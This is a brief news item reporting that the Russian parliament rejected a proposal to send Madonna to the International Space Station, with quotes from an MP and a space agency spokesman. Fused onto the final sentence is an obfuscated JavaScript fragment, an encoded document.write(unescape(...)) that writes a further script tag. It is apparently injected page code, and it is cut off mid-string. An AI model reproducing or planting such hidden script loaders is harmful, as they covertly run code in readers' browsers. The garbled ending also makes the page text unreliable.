Madonna in bid to be space tourist

A bid to send Madonna into space has been rejected by the Russian parliament.

The Queen of Pop has been at the centre of a proposal for a mission to the international space station in 2008.

A number of members of the government are understood to have supported plans to back the initiative, alongside the Russian space agency.

Her involvement had been suggested to heighten the global profile surrounding the project and attract international funding and media coverage.

Alexei Mitrofanov, a member of parliament who backed the proposal, said they still hoped that Madonna could become a $20 million space tourist in 2009.

He commented: "Because of the television possibilities, it would be a pretty serious event in the year of elections in the United States and Russia."

Meanwhile, a space agency spokesman Igor Panarin commented: "Taking into account her good physical preparedness and financial capabilities, the dream of (Madonna) Louise Ciccone of a space flight could be realized in 2009."

Madonna played the final show of her "Confessions" world tour in Russia earlier this month.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22